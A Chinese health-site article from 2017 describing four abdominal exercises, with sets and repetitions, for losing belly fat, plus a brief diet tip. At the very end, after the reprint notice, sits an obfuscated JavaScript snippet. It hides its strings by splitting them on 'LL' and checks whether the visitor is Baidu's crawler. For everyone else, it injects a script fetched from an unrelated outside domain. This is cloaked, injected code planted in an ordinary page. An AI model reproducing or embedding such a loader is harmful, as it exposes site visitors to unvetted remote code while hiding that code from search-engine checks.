当前位置:首页 > 减肥 > 运动减肥 > 正文

做什么运动能减掉大肚子呢

2017-04-22 01:11:16  来源:360常识网   热度:
导语:大家都知道,肚子上的赘肉是最为难减掉的,肚子上堆积的赘肉总是让人十分的讨厌烦恼并且还没有办法遮掩,要减掉大肚子需多种方面一块配合,

大家都知道,肚子上的赘肉是最为难减掉的,肚子上堆积的赘肉总是让人十分的讨厌烦恼并且还没有办法遮掩,要减掉大肚子需多种方面一块配合,不过最为关紧的还是运动了,要减掉大肚子必须要运动,让运动来燃烧肚子上的赘肉,那么,到底做什么运动能减掉大肚子呢?减掉大肚子方法一

1、仰卧在地上,双腿屈起并拢,双手屈肘轻轻将头抱住。

2、腰腹用力慢慢向上身抬起,直到上身和地面成30度到60度之间。

3、保持这个动作5秒,然后慢慢落下,重复练习3组,每组做15次。

减掉大肚子方法二

1、仰卧地上,双手放在头部后面。肩膀、颈脖、头部微微向上抬,大腿向上抬起和地面成60度,小腿和地面保持平衡。

2、慢慢伸展腿部,可以不完全伸直双腿,只要感受到腰腹收紧即可。重复练习2组,每组做15次。

减掉大肚子方法三

1、平躺在地上,双腿向上抬起和地面成60度,双手抱住头部,抬起上身。

2、上身向右侧慢慢转动,同时收紧右腿,左腿保持不动,左手肘彭粗右腿膝盖。

3、身体再转向左侧,用右手肘碰触左腿。重复练习两组,每组做25次。

减掉大肚子方法四

1、自然站立,双腿并拢伸直,右手叉腰,左手拿着哑铃,保持自然垂下。

2、身体慢慢向左侧倾斜,左手尽量往下垂,一直垂到最大极限,然后将身体拉直。每侧练习两组,每组练习20次。

上面的几种就是为大家详细介绍的减掉大肚子的方法,相信现在大家对于做什么运动能减掉大肚子应该已经有所了解了吧,为了更好的达到减掉大肚子的功效,平时的饮食也是需要注意的,少吃或者忌吃一些高糖、高碳水化合物的食品。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}